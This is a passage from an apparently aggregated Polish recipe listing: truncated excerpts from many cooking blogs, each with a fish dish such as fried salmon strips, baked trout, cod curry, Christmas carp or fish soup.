podbija smak ryby i ziemniaków. Laxpudding zachwyca smakiem i prostotą :) Co prawda, nie jest to danie wspierające obwody naszych talii ale za to rozkosznie łaskocze podniebienia, udowadniając, że ryby + śmietana i masło to spełniona miłość kulinarnej strony całej Skandynawii. Idealna na zbliżający się czas śniegu i mrozu, kiedy sytość i ciepło chcemy zachować na dłużej, o czym Skandynawowie

Kuchnia w Słońcu Skąpana
Chrust z łososia. Nowy przepis na rybę 123

Zrób tak: z łososia zetnij skórę (jeśli jest). Następnie mięso pokrój wzdłuż na około 0,5 cm pasy. Dopraw solą i pieprzem. Jajko roztrzep ze szczyptą curry. Każdy kawałek ryby panieruj(...)mące, a następnie w jajku i smaż na oleju – najlepiej głębokim. Chrust zjedliśmy z sałatką z komosy ryżowej, pomidorów i rukoli. Artykuł Chrust z łososia. Nowy przepis na rybę pochodzi z serwisu Kulinarna Polska | Gotowanie i jedzenie

Kulinarna Polska
Chrust z łososia. Nowy przepis na rybę 83

Zrób tak: z łososia zetnij skórę (jeśli jest). Następnie mięso pokrój wzdłuż na około 0,5 cm pasy. Dopraw solą i pieprzem. Jajko roztrzep ze szczyptą curry. Każdy kawałek ryby panieruj(...)mące, a następnie w jajku i smaż na oleju – najlepiej głębokim. Chrust zjedliśmy z sałatką z komosy ryżowej, pomidorów i rukoli. Artykuł Chrust z łososia. Nowy przepis na rybę pochodzi z serwisu Kulinarna Polska | Gotowanie i jedzenie

Kulinarna Polska
Pieczony pstrąg z warzywami 219

niecałą godzinę. Aromatyczny, pieczony pstrąg z warzywami Dzisiaj przedstawiam kolejny przepis na pyszną rybkę, tym razem jest to pstrąg pieczony z warzywami. Pstrąg to jedna z moich ulubionych ryb. Przede wszystkim z tego względu, że wspaniale smakuje i bardzo pasuje mi delikatna konsystencja mięsa. Dodatkowo pstrąga robi się szybko i bez zbędnych ceregieli. :) Jeśli lubisz tę pyszną rybkę(...)zaletą jest to, że wszystko robi się praktycznie w tym samym czasie i na tej samej blasze, dzięki czemu nie brudzimy niezliczonej ilości naczyń! Bardzo lubię takie przepisy. :) Pyszna ryba z warzywami Pstrąg świetnie komponuje się z pieczonymi warzywami takimi jak batat, cukinia, pomidory czy cebula ale można dodać do niego również bakłażana, paprykę, marchewkę czy korzeń pietruszki

Book of spells
Pstrąg pieczony w folii 99

trzy plasterki cytryny, szczelnie zawinąć folią aluminiową i przełożyć do naczynia żaroodpornego lub na blaszkę. Piekarnik nagrzać do temperatury 180 stopni. Do gorącego piekarnika włożyć naczynie/blaszkę z rybami i piec przez 30 minut na funkcji grzania góra-dół. Po upieczeniu wyjąć i przełożyć na talerze - ja podaję w lekko rozwiniętej folii udekorowane natką pietruszki Pstrąg pieczony w folii

WSZYSTKO SMACZNE
Łosoś z sosem koperkowym 144

cytryny, pieprz i sól do smaku. Sos najlepiej smakuje mocno schłodzony, dlatego też przygotowujemy go w pierwszej kolejności i na czas przygotowania ryby przechowujemy w lodówce. Rybę kroimy na mniejsze porcje. Doprawiamy solą, pieprzem, skrapiamy sokiem z cytryny. Odkładamy na co najmniej 30 minut w chłodne miejsce. Po tym czasie smażymy na patelni grillowej (ew. teflonowej) do zrumienienia. Ciepłą(...)rybę podajemy z zimnym sosem. Źródło

Smaki Na Talerzu
Zapiekany dorsz z pietruszkowym pesto podany na młodych ziemniakach w aromatycznym sosie pomidorowym 111

limonki to ciekawy pomysł na podanie klasycznej ryby w nowatorskiej odsłonie. Całość zapieczona na młodych ziemniakach z pachnącym pomidorowym sosem to świetny przepis na smaczny, sycący obiad z rybą w roli głównej. Składniki: 600g fileta z dorsza 800g młodych ziemniaków 4 cebule 2 ząbki czosnku 4 duże pomidory starta skórka z 1 cytryny 1/2 pęczka natki z pietruszki(...)odparuje. Po tym czasie dodać drobno posiekaną natkę z pietruszki, kolendrę i doprawić do smaku solą oraz pieprzem. 5. Tak przygotowany sos wylać na ziemniaki w naczyniu żaroodpornym, ułożyć rybę,  posypać oliwkami i wstawić do piekarnika nagrzanego do 180 stopni i piec przez około 25-30 minut. 6. Po tym czasie dorsza polać pesto i posypać kolendrą

Szalona Kuchnia Eweliny
Dorsz curry ze szparagami i groszkiem 131

moimi pacjentami często jest tak, że nie jadają ryb bo nie do końca wiedza jak je przygotować a jedyna forma w jakiej je do tej pory je jadali to, o zgrozo, smażone w panierce i morzu tłuszczu- oczywiści podane z frytkami lub co gorsza jako paluszki rybne (kto to w ogóle je?). Dziś prezentuję Wam przepis na danie właśnie(...)dodatkiem ryby w formie potrawki curry ze szparagami, pomidorkami i groszkiem oraz świeżym tymiankiem, który niestety już wyzionął ducha. W każdym razie - jest to proste, sycące danie, które idealnie sprawdzi się jeżeli jesteś na diecie redukcyjnej. Przygotujesz je w 15 minut! Składniki (na 2 porcje): 400 gram dorsza 150 ml mleka kokosowego czosnek  szalotka garść mrożonego groszku

Mango Papaja
Zapiekanka makaronowa z łososiem i szparagami 206

minutę) do gorącej wody, następnie odcedzić i przelać zimną wodą. Por zeszklić na 2 łyżkach oliwy, przełożyć do naczynia żaroodpornego. Na por wyłożyć makaron i rybę, wymieszać, żeby kawałki ryby rozłożyły się równomiernie. Na makaronie poukładać szparagi. Śmietankę wymieszać z jajkiem i jogurtem, doprawić solą, pieprzem, tymiankiem. Zalać zapiekankę. Na wierzchu pokruszyć ser. Wstawić do nagrzanego piekarnika, piec

Obiad gotowy
Ryba pieczona 153

Ziołowa i soczysta ryba pieczona, dokładnie filet z mintaja. Może być także filet z dorsza, tilapii, nawet polędwica z dorsza, którą osobiście uwielbiam. Rybę pieczoną podaję z puree ziemniaczanym ze świeżym koperkiem oraz chrzanem. Obowiązkowo także surówka z kapusty kiszonej i marchewki. Składniki: kilka filetów z mintaja, dorsza lub inne ostra i słodka papryka, majeranek, suszony koperek sok z cytryny

Zasmakuj Kuchni
DORADA FASZEROWANA MORELAMI I QUINOA 103

Lubicie ryby? Staram sie przygotowywać je aby mąż je polubił... bo On to prawdziwy mięsożerca. Ta ryba jednak bardzo przypadła mu do gustu :) 20 g quinoa czarnej 2 dorady 50 g suszonych moreli 1 cebula szczypta cynamonu gwiazdka anyzu szczypta ziół tajskich liść laurowy oliwa z oliwek 1 łyżka octu ryżowego pół łyżki pasty miso dashi pół łyżeczki pasty(...)czerwonej papryki sok z połowy cytryny oregano świeże tymianek świeży 25 ml wody sól pieprz Quinoa gotujemy wg przepisu na opakowaniu. Rybę oczyszczamy, solimy, pieprzymy i skrapiamy sokiem z cytryny W misce mieszamy pastę z papryki, miso dashi, ocet i posiekane oregano. Na rozgrzaną patelnię wlewamy oliwę, szklimy cebulę, anyż, liść laurowy i przyprawiamy ziołami tajskimi. Dodajemy morele, cynamon

Kuchnia w oparach
TATAR Z WĘDZONEGO ŁOSOSIA (keto, LCHF, paleo, optymalne, bez glutenu, jajek i laktozy) 239

obiecałam w marcu w czwartki lub piątki serwuję Wam bezmięsne dania Zatem kolejny przepis dla amatorów ryb – tatar z łososia. Świetny i szybki sposób na przekąskę na co dzień, ale i od święta, ponieważ pięknie prezentuje się na stole podczas uroczystości więc śmiało możecie go umieścić w wielkanocnym menu Można go przygotować z surowej lub wędzonej ryby

Ola la LCHF
Zupa z rybą i jabłkiem 129

Kolejna zupka..tym razem z rybą..Pomysł na taką zupkę znalazłam w sieci,ale zmieniłam co nieco , bo gotuję zupy wg innych zasad. 50 dkg dowolnej ryby [najlepiej płatów bez ości ] 2 jabłka 2-3 pomidory kilka ziemniaków 1-2 łyżki koncentratu pomidorowego kawałek pora 1 cebula sól, pieprz domowa wegeta listek, ziele 0,5 łyżeczki słodkiej wędzonej papryki(...)pokrojone i obrane jabłka, pomidory, pora, cebulę wraz z masłem i odrobiną wody chwilkę poddusić , przełożyć do garnka z ziemniakami i gotować jeszcze 5 min.Do wrzącej zupy dodać pokrojoną rybę, paprykę wędzoną i sok z cytryny. Na koniec dodać śmietanę, koper i doprawić w razie potrzeby

Moje domowe kucharzenie
Łosoś imbirowo-bazyliowy 142

totalTime":null,"recipeInstructions":["Nagrzewamy piekarnik do temperatury 180\u00b0C. Blaszk\u0119 wyk\u0142adamy foli\u0105 aluminiow\u0105, a na \u015brodku umieszczamy naszego \u0142ososia. Folii musi wystarczy\u0107 na przykrycie ryby. \r","W ma\u0142ej miseczce mieszamy ze sob\u0105 ocet, sok z cytryny, mi\u00f3d, sos sojowy, imbir, srirach\u0119, czosnek i bazyli\u0119. Tak powsta\u0142\u0105 marynat(...)czosnku, starte 2 łyżki posiekanej bazylii Sposób przygotowania Nagrzewamy piekarnik do temperatury 180°C. Blaszkę wykładamy folią aluminiową, a na środku umieszczamy naszego łososia. Folii musi wystarczyć na przykrycie ryby. W małej miseczce mieszamy ze sobą ocet, sok z cytryny, miód, sos sojowy, imbir, srirachę, czosnek i bazylię. Tak powstałą marynatą dokładnie pokrywamy naszego łososia. Owijamy go szczelnie folią

Mostek w kuchni
ryba ze szpinakiem ,mango i czarnym ryzem 126

Składniki 1 szklanka czarnego ryżu 1½ szklanki wody olej kokosowy dowolna ryba sól,pieprz do smaku panko 1 mango obrane i pokrojone w kostkę młode liście szpinaku 1 łyżeczka miodu,lub cukru pudru 2 łyżeczki octu jabłkowego ,lub sok z cytryny ocet oliwa z oliwek Wykonanie Jedna szklankę czarnego ryżu wsypać do rondla ,dodać łyżkę oleju kokosowego ,lub oliwy(...)minut. Rondel z grubym dnem i szczelna pokrywką. Ryżu nie mieszać w trakcie gotowania. Zgasić płomień i pozwolić ,aby ryz doszedł do siebie nie otwierając rondla. Kawałki ryby posolić ,popieprzyć ,przełożyć do miseczki i pozostawić na noc ,lub na 2-3 godziny .Gotowe kawałki obtoczyć w jajku i panko ,smażyć na rozgrzanym oleju oleju kokosowym na złoty kolor. Mango

w mojej kuchni
ryba duszona w pomidorach 173

Ryby powinno się jeść, każdy to wie. Żeby tylko R miał do tego chęć. Nawet dorsz nie do końca Go przekonuje :) Próbuję na każdy możliwy sposób przemycić rybę w naszych daniach. Nie zawsze mi się udaje. Jak dla mnie dorsz ten jest idealny. W pomidorach i cebulce jak na kołderce. Połączenie wyśmienite. O tej porze roku pomidory(...)puszkę pomidorów - jeśli mamy w całości spokojnie rozdzielimy je podczas duszenia szpatułką,  dodajemy suszone pomidory i oregano i dokładnie mieszamy i dusimy pod przykryciem ok 10 min  rybę solimy i pieprzymy z obu stron układamy na pomidory i dusimy pod przykryciem ok 10-15 min  Podajemy z ryżem lub kaszą. Smacznego

Gotowanie z pasją
Ryba po japońsku 356

szklanki oleju • 2 łyżki octu • 1/2 szklanki pikantnego ketchupu • słoiczek przecieru pomidorowego (190 g) Przygotowanie: Filety dokładnie myjemy. W przypadku gdy zawierają większe ości, usuwamy je za pomocą pęsety. Rybę osuszamy ręcznikami papierowymi i oprószamy solą oraz pieprzem z każdej strony. Obtaczamy je w mące i następnie obsmażamy z obu stron na rozgrzanym oleju. Złociste filety ściągamy na talerz(...)warzywa przekładamy do garnka. Całość gotujemy pod przykryciem przez około 10 minut (do momentu, aż warzywa zmiękną). W przezroczystym naczyniu układamy na przemian filety, zalewę, filety i znowu zalewę. Rybę po japońsku zostawiamy w chłodnym miejscu na kilka godzin, aby smaki się wymieszały

KUCHNIA POLSKA
Karp smażony 153

Smażone dzwonki karpia Jedna z najpopularniejszych potraw wigilijnych. Nie wyobrażam sobie Świąt Bożego Narodzenia bez smażonego karpia. Przygotowanie tej potrawy nie jest trudne, warto jednak przyprawić rybę wcześniej a tuż przed kolacją tylko panierować i smażyć.   Składniki na 4 porcje: 4 dzwonki karpia sok z połowy cytryny sól i pieprz do smaku pół szklanki mąki pół szklanki bułki tartej(...)łyżki masła 2 łyżki oleju *** Dzwonki z karpia skrapiamy sokiem z cytryny, oprószamy solą oraz pieprzem i odstawiamy do lodówki na co najmniej godzinę aby ryba przeszła przyprawami *** *** Do woreczka wsypujemy mąkę oraz bułkę tartą, mieszamy. Następnie wkładamy po kawałku karpia do woreczka i potrząsamy aby rybę dobrze pokryć panierką *** *** Na patelni roztapiamy masło i dodajemy olej. Karpia smażymy

Blog z Apetytem
Ryż cytrynowy – na dodatek nie tylko do ryby 297

aromatyczny. Z dodatkiem cytryny, czosnku, posiekanej natki i kurkumy ryż uzyskuje całkiem nową odsłonę – dodatki do obiadu wcale nie muszą być nudne! Tak przygotowany ryż sprawdzi się zarówno do ryb i krewetek, ale będzie też świetnie pasował do orientalnego curry, warzyw z patelni i jasnych mięs. Spróbujcie! Ryż gotujemy na sypko – podstawowy sposób gotowania ryżu wymaga użycia 2 części(...)bardzo dokładnie razem, chwilę podgrzewamy i od razu podajemy. My zjedliśmy tak naszykowany ryż do bakłażanów smażonych po chińsku . Spróbujcie go do szparagów z krewetkami albo do smażonej białej ryby . Świetnie uzupełni też łososia w sosie cytrynowym i soczystą pieczoną pierś kurczaka . SKŁADNIKI 4 porcje jako dodatek 200g ryżu długoziarnistego (niepełna szklanka) 4 lub 5 szklanek wody sól

Karo in the Kitchen
Pieczony dorsz z paprykową salsą 146

cebuli łyżeczka oliwy łyżeczka natki pietruszki łyżeczka soku z cytryny Przygotowanie: Polędwice solimy i pieprzymy z obu stron. Wykładamy je na folii z masłem i plasterkiem cytryny. Szczenie zakrywamy rybę i wkładamy do rozgrzanego do 200 stopni piekarnika na 20 minut. W tym czasie podpiekamy również paprykę. Po przestudzeniu kroimy w kostkę paprykę, pomidora oraz cebulę. Mieszamy z natką pietruszki(...)sokiem z cytryny oraz oliwą. Przyprawiamy do smaku. Podajemy razem z rybą. Smacznego

ChilliJemy
CURRY RYBNE W MLEKU KOKOSOWYM (keto, LCHF, paleo, optymalna, bez glutenu i laktozy) 194

niesamowicie aromatyczne, smaczne, bardzo sycące i jak zawsze łatwe i szybkie w przygotowaniu danie. U mnie podawane ze spaghetti z cukinii lub makaronem konjac . Składniki: 500 g białej ryby np. dorsza 60 g cebuli 3 ząbki czosnku 20 g świeżej papryczki chili lub pół łyżeczki mielonej chili 5 g kurkumy 5 g curry lub garam masala sól himalajska , pieprz(...)podsmażyć. Miąższ kokosowy rozcieńczyć w ciepłej wodzie lub użyć gotowego mleka kokosowego, które należy podgrzewać z odrobiną soli, pieprzu i soku cytrynowego na małym ogniu do momentu aż zgęstnieje. Rybę pokroić w drobne kawałki a następnie dołożyć do sosu i gotować na małym ogniu pod przykryciem przez ok 20-25 minut. Delikatnie mieszać by ryba nie rozpadła się. Całość doprawić

Ola la LCHF
Ryba zapiekanka ze szpinakiem, serem feta i suszonymi pomidorami 131

Składniki: ok. 600 g filetu z ryby np. dorsz 450 g mrożonego szpinaku 150-200 ml śmietanki 12 % albo 18 % sól, pieprz czosnek 50 g sera feta 4 suszone pomidory 100 g żółtego sera(...)Wykonanie: Nastawiamy piekarnik na 220*C  Szpinak rozmrażamy w małym garnku dodając nieco wody aby nam się nie spalił. Dodajemy sól, czosnek i śmietanę, dusimy przez 5 minut. Rybę dzielimy na mniejsze kawałki solimy, pieprzymy, układamy ją na żaroodpornym naczyniu i wykładamy na rybę szpinak, następnie dajemy w kawałkach ser feta i suszone pomidory. Zapiekamy przez 20 minut przed

W Moim Magicznym Domu
Makaron w kremowym sosie z wędzonym łososiem i chrupiącą marchewką 151

często. Tym razem przyszedł czas na ryby. Ogólnie bardzo je lubię i dość często je jem, ale jak mnie najdzie... to w lodówce i szafkach znaleźć można ryby świeże, wędzone, w puszkach. Śledzia w oleju, tuńczyka w wodzie, makrelę w pomidorach albo i rybnego paprykarza. Teraz właśnie nastał ten czas, więc możecie spodziewać się sporej ilości przepisów

Pichceniomania
Pełnoziarniste grzanki z wędzoną rybą 137

chrupiące kromki smarujemy serkiem z koperkiem i układamy na nich kawałeczki ryby. Grzanki podajemy z rukolą, skropione oliwą z oliwek. Smacznego!     Artykuł Pełnoziarniste grzanki z wędzoną rybą pochodzi z serwisu Just Be Fit Be Strong

Be Fit Be Strong
Łosoś w sosie kurkowo-koperkowym 141

kurek 1 słoik sosu jasnego uniwersalnego Łowicz świeżo mielony pieprz do smaku WYKONANIE Łososia umyć i pozbawić skóry. Jeżeli są w nim ości, to wyciągnąć je pęsetą. Tak przygotowaną rybę przełożyć do miski lub głębokiego talerza, skropić cytryną i zostawić na 15 minut.  Kurki umyć, pokroić na mniejsze kawałki i przełożyć do garnka. Dodać sos jasny uniwersalny, umyty(...)przypalił. Gotowy sos doprawić świeżo mielonym pieprzem. Łososia ugotować na parze (około 12 minut), podzielić na porcje i przełożyć na talerze. Nałożyć ziemniaki, sałatkę i polać sosem kurkowo-koperkowym rybę i ziemniaki.  #Łowicz

Passions hobbies life
Rybka z kurką 156

kebab są oczywiście na porządku dziennym, ale jednak króluje tam ryba. Inna sprawa, co to za ryba. Niewiele osób orientuje się bowiem, że o tej porze roku, zjedzenie świeżego dorsza w nadmorskiej smażalni wcale nie jest takie proste, gdyż połów tej ryby w lecie jest mocno ograniczony. Najlepiej sięgnąć zatem po flądrę, turbota, czy mocno niedocenianego śledzia. Owocem moich

Pichceniomania
CYTRYNOWY SOS DO PIECZONEJ RYBY 189

Każdy kucharz powinien mieć w zanadrzu przynajmniej kilka przepisów na... Artykuł CYTRYNOWY SOS DO PIECZONEJ RYBY pochodzi z serwisu CookMagazine

COOKMAGAZINE
Rybne klopsiki pod beszamelem 94

Rybne klopsiki pod beszamelem to moja propozycja na niedzielną rybkę. Nie wszystkie dzieci lubią ryby, więc przygotowanie ich, jako klopsiki mogą sprawić, by dzieci „nieświadomie” jadły to, co dla nich dobre i wskazane by spożywały regularnie. Z poniżej podanych ilości przygotowałam obiad dla czteroosobowej rodziny (dwójka dorosłych i dwójka dzieci). Składniki na: Rybne klopsiki pod... Więcej The post Rybne

Magiczny Garnek
Pasta z jajkami i wędzonym pstrągiem 106

jajeczna z wędzonym pstrągiem, kukurydzą oraz ogórkiem. Pastę smakuje najlepiej na drugi dzień, idealnie pasuje do chleba tostowego, lub innego miękkiego chleba. Polecam dla każdego kto lubi smak wędzonej ryby :) Składniki: * wędzony pstrąg * 1 łyżka twarogu * pół puszki kukurydzy * 4 ogórki kiszone * pół cebuli * sól, pieprz * pół łyżeczki suszonego koperku * 1/6 łyżeczki chili * 1/6 łyżeczki papryki w proszku(...)frais (można zastąpić jogurtem greckim, philadelphią lub gęstą śmietaną) * 4 jajka Jajka gotujemy na twardo. Wędzonego pstrąga rozcinamy i ściągamy rękoma całe mięso. Ważne jest aby każdy malutki kawałek ryby rozdrobnić w rękach aby usunąć wszystkie ości. Mięso z pstrąga mieszamy ręką z przyprawami, tak aby powstała masa podobna do pasty. Do pstrąga dodajemy posiekanego w drobną kostkę ogórka

Klasyka Gotowania
Sałatka śledziowa "Salsa" 133

około 8 minut, mieszając od czasu do czasu. Wyłączyć palnik i doprawić sos pieprzem. Zostawić do ostudzenia.  Rybę i cebulkę odsączyć na sitku z zalewy octowej i wymieszać z ostudzonym sosem pomidorowym. Ogórki konserwowe pokroić w kostkę i dodać do ryby. Następnie wlać olej, wymieszać i w razie potrzeby doprawić pieprzem. Tak przygotowaną rybę włożyć do lodówki

Passions hobbies life
Chowder kukurydziany z jarmużem i pstrągiem 114

domu, gdzie czekała nie mniej słoneczna zupa. Klasyka kuchni amerykańskiej i brytyjskiej - treściwy i kremowy anglosaski chowder! Przepyszna zupa zabielana mlekiem, z dodatkiem warzyw i często przygotowywana na bazie ryb oraz owoców morza. Prawdopodobnie nazwa chowder pochodzi od francuskiego słowa chaudron , oznaczającego mały przenośny kociołek, w którym pierwotnie przygotowywano tę zupę w rybackich rodzinach, na statkach i kutrach. Wiele(...)gotuj przez 20 min. 5. Pstrąga przypraw pieprzem i solą, obtocz w mące i usmaż. 6. Zupę dopraw pieprzem i solą do smaku. 7. Podawaj gorącą z niewielkimi kawałkami ryby. Smacznego! Corn chowder with kale and trout Ingredients: 1 can of corn 3 garlic cloves  1 small leek 1 small potato grated zest of 1/3 lemon

Kuchnia w Słońcu Skąpana
Halibut w imbirowo-miodowej marynacie 160

jakiegoś czasu szukam ciekawych przepisów na ryby dla dzieci. Nie jest to łatwe zadanie, jeśli dzieci nie przepadają za rybami. Nie mam ambicji wciskać im niczego, raczej zachęcać smakiem, zapachem i aromatem, a przede wszystkim – co u dzieci kluczowe – pięknym, kolorowym wyglądem potrawy. Idąc tym tropem przygotowałam halibuta zapieczonego z warzywami. Halibut […] Artykuł Halibut

Wiszniówka
Pieczony halibut na szpinaku 164

mówić o uczuciach w stosunku do roślin. Człowiek dojrzewa jak widać również smakowo i jego gusta się zmieniają diametralnie. Zatem jeśli macie niezbyt dobre wspomnienia związane ze szpinakiem czy rybami, to spróbujcie tego połączenia. Może i Wam się odmieni? :)  Składniki: szpinak - świeży bądź mrożony cebula biała kilka ząbków czosnku ser z błękitną pleśnią - lazur filet z halibuta olej(...)pieczenia. Wstawiamy do nagrzanego do 180 stopni piekarnika. Rybka nie potrzebuje zbyt wiele czasu. 10 - 15 minut wystarczy. Pod koniec możemy włączyć funkcję grilla.  Jeśli sam szpinak i ryba to za mało na obiad, to śmiało do zielonego możemy dodać ugotowany makaron czy też ryż. Smacznego

Karczma Honorietty
Ryba w zalewie 193

Ryba w pikantnej pomidorowej zalewie octowej, którą można przyrządzić dzień wcześniej jest pysznym daniem Wigilijnym. Jeśli nie macie ochoty całą wigilię stać przy garach i chcecie przygotować sobie przynajmniej niektóre potrawy wcześniej to jest przepis dla Was. Ryba idealnie będzie pasować do świeżo pieczonego wiejskiego chleba lub ziemniaków. Polecam osobą, które planują robić dużą Wigilię oraz(...)tych, którzy nie przepadają […] Artykuł Ryba w zalewie pochodzi z serwisu KuchniaWeDwoje.pl

KuchniaWeDwoje.pl
Karp pieczony w sosie z leśnych grzybów 157

ryby ze sprawdzonej hodowli, i te nie przerośnięte, takie w rozmiarze powiedzmy "M" ;) Drugi wielki minus - ości. No i tych nie zlikwidujemy, chyba, że dobrze poszukamy i znajdziemy rybę filetowaną, lub sami pokusimy się o jej wyfiletowanie. Niemniej jednak, karp ości ma duże i wcale nie trudno jes usunąć, podczas spożywania dania gotowego. Trzeci minus - ciężki smażony karp...nuuuuda(...)Wykonanie:  Grzyby zalać zimną wodą i odstawić na godzinę. Po tym czasie odlać wodę, wlać świeżą i gotować grzyby przez 30-40 minut. Ugotowane grzyby odcedzić na sicie. Rybę opłukać i dobrze osuszyć ręcznikiem papierowym. Podzielić na mniejsze kawałki. Na patelni, na odrobinie oleju zeszklić pokrojoną w kosteczkę cebulę.  Do cebuli dodać "igiełki" rozmarynu i grzyby ( część można

kolorowotorcikowo
Trójkolorowa zapiekanka rybna 349

kilku wpisów z inspracjami na Wigilię i Święta. Zwykle nic z tych planów niestety nie wychodzi albo mało. Na innych blogach już od początku grudnia mnożą się uszka, śledzie, ryby i ciasta a u mnie w grudniu zwykle mniej aktywności niż w całym roku. I tak było i w tym roku niestety.. i trzeba było ospy Emilki(...)powtarzające się smaki, które niosą ze sobą wspomnienia wszystkich poprzednich Wigilii), ale lubimy dodać coś nowego. Siostra eksperymentuje zwykle z nową odsłoną śledzi, ja natomiast stawiam na nowe odsłony ryb. Czasem te nowe odsłony stają się klasyką i powtarzają się przez kolejne lata – i tak np. od kilku Wigilii nie może na stole zabraknąć gravlaxa, chociaż

Cooking for Emily
Pstrąg na parze z batatami 210

Zdrowy, smaczny i kolorowy obiad. Niedoceniane przez wielu ryby i gotowanie na parze połączone w jednym przepisie. Pstrąg łososiowy Bataty Czosnek Mięta Rozmaryn Sałata rzymska Rzodkiewka Kiełki rzodkiewki Oliwa Sól Pieprz Bataty obieramy i kroimy w grube plastry. Gotujemy je w wodzie lub na parze tak jak zwyczajne ziemniaki. Ja ugotowałem je na parze przykryte listkami świeżej mięty(...)roztartym czosnkiem. Gotujemy na parze przez 15 minut. Podajemy z sałatą ze świeżą rzodkiewką i kiełkami, skropione oliwą i sokiem z cytryny. W taki sposób można przygotować każdą rybę

MarcinChef
Pstrąg pieczony z sałatką na ciepło 153

mnie mieszanka ziół śródziemnomorskich) - oliwa do smażenia Pstrągi dokładnie umyć, jeżeli jest potrzeba, oczyścić z łusek, oprószyć solą, pieprzem i skropić obficie sokiem z cytryny (pamiętamy, aby przyprawić rybę także od środka). Przyprawioną rybę odstawić na bok.  W tym czasie pokroić warzywa, cebulę i czosnek drobno posiekać i jako pierwsze wrzucić na patelnię, następnie dodać pokrojona w kostkę paprykę(...)grubą kostkę cukinię, dusić razem do miękkości. Na koniec dodać pokrojone na pół pomidorki, przyprawić łyżeczką cukru, solą, pieprzem i ziołami wg uznania.  Piekarnik rozgrzać do 180 stopni, rybę skropić oliwą z oliwek i piec na ruszcie ok 15 minut. Gotową rybę podawać z ciepłą sałatką

Cook&Love
KOTLECIKI RYBNE Z CHIPSAMI 215

dorsza 2 pęczki koperku 2 duże jajka 2 szklanki płatków kukurydzianych 1 szklanka mąki pszennej 4 łyżki otrębów żytnich lub orkiszowych 1 łyżka lnu mielonego sól, pieprz, przyprawa do ryb olej do smażenia Chipsy: 2 duże ziemniaki 2-3 łyżki oliwy z oliwek sól, pieprz, papryka mielona słodka, zioła prowansalskie Sos: pęczek koperku(...)łyżki jogurtu greckiego szczypta soli i pieprzu Wykonanie: Brzuszki z dorsza myjemy, osuszamy i bardzo drobno kroimy. Wrzucamy do miski. Koperek myjemy, osuszamy, drobno siekamy i dodajemy do ryby. Następnie dodajemy przyprawy, 1 jajko, otręby, len mielony, 2 łyżki mąki pszennej i wszystko dokładnie mieszamy ręką (jak kotlety mielone). Pozostałą mąkę wysypujemy na talerz. Na drugim talerzu roztrzepujemy jako

Kuchnia MagdaLeny
Ryba pieczona z warzywami 155

rybnych, u mnie miruna nieduży kawałek pora - biała i jasnozielona część 1 mała czerwona papryka 1 duża cebula 2 duże marchewki sól,pieprz sok z cytryny olej tymianek Filety ryby podzielić na mniejsze kawałki. Oprószyć solą i pieprzem, skropić sokiem z cytryny i odstawić. Przygotować warzywa. Pora pokroić w półplasterki. Cebulę i paprykę pokroić w drobną kostkę. Marchewki zetrzeć(...)oczkach. Wszystkie warzywa przełożyć do miski. Skropić solidnie olejem, oprószyć solą oraz tymiankiem i dokładnie wymieszać. Na dno naczynia żaroodpornego przełożyć połowę warzyw. Na warzywach ułożyć kawałki przygotowanej wcześniej ryby. Na wierzch wyłożyć drugą połowę warzyw. Naczynie przykryć pokrywką lub folią aluminiową. Wstawić do piekarnika nagrzanego na 220 C i piec 40 minut, funkcja góra-dół

Monia miesza i gotuje
Ryba -filety z Mintaja 114

dowolnej ryby dwa jajka mąka sól cytrynka i limonka oliwa Sposób: Filety oczyszczamy i osuszymy papierowym ręcznikiem, Solimy i polewamy delikatnie sokiem z cytryny -dzięki temu nie będzie ryba pryskać na patelni Pozostawiamy w takiej marynacie około 20 min żeby ryba przeszła cytryną. Następnie panierujemy w rozklepanym  jajku i mące Smażymy na gorącej oliwie . Polecam Surówkę z kapusty

Viola cooks with passion
Dorsz bałtycki pieczony z ziemniaczkami i pomidorkami 158

Ryby myjemy pod bieżącą woda i wyciągamy ewentualne ości. Pomidorki również myjemy, a koperek siekamy. Po 25 minutach wyjmujemy formę, mieszamy ziemniaczki i dokładamy pomidorki. Na wierzchu układamy rybę, skrapiamy ją sokiem z cytryny i oprószamy przyprawami (solą i pieprzem, bez tymianku). Na końcu posypujemy koperkiem. Pieczemy 10-12 minut. Podajemy jeśli warzywa są miękkie a ryba upieczona. Smacznego

Kolizje Smaków
Dorsz pieczony, z salsą truskawkową i szpinakowymi kluseczkami 121

bardzo zdrowy posiłek :) moja Córeczka zjadła całą porcję, co mnie bardzo ucieszyło :) Szkoda, że świeżych truskawek już nie ma... Składniki: 450g filetów z dorsza atlantyckiego (może być też inna ryba) 3 łyżki serka mascarpone 1,5 szkl. truskawek (większych ciut więcej) 1 łyżka soku z cytryny 1 łyżeczka octu balsamicznego 2 łyżki cukru pieprz cytrynowy sól ziołowa wiórki masła Kluseczki(...)wlewamy łyżkę oleju. We wrzątku maczamy łyżkę, następnie gorącą nabieramy małe porcje ciasta i zanurzamy w wodzie, postępujemy tak z całym ciastem. Gotujemy minutę od wypłynięcia na wierzch. Rybę polewamy sosem truskawkowym, podajemy z kluseczkami i dekorujemy ziarenkami granatu, listkami świeżej mięty oraz połówkami truskawek. Cała dekoracja jest do zjedzenia. Smacznego :) RADY: Użyłam szpinaku mrożonego, bo tylko taki miałam

Kolorowy Przepisownik
Dymne szaszłyki z łososia i cukinii 149

wędzony aromat – po prostu obłęd dla zmysłów smaku, węchu i do tego wzroku. Dymne szaszłyki z łososia i cukinii to obowiązkowa pozycja dla tych, którzy kochają grill, a zwłaszcza ryby z grilla. Koniecznie spróbujcie tych szaszłyków z łososia i cukinii, jeśli lubicie nowe połączenia, zwłaszcza w wersji nieco egzotycznej. Nie bójcie się, że będą słodkie – wystarczy przestrzegać przepisu(...)paprykę, chili, sól, pieprz i cukier. Dokładnie wymieszać. Oprószyć łososia i cukinię przygotowaną mieszanką (w jednej misce) i dokładnie, ale delikatnie (żeby nie zepsuć struktury delikatnego łososia) wetrzeć w rybę i cukinię. Zostawić na 15-30 minut (nie dłużej). Na patyczki do szaszłyków nabijać na zmianę łososia i cukinię (po 2 plastry), zaczynając od cukinii i na niej kończąc. Dymne

Pociąg Do Kuchni
Morszczuk smażony w cieście naleśnikowym z serem żółtym 216

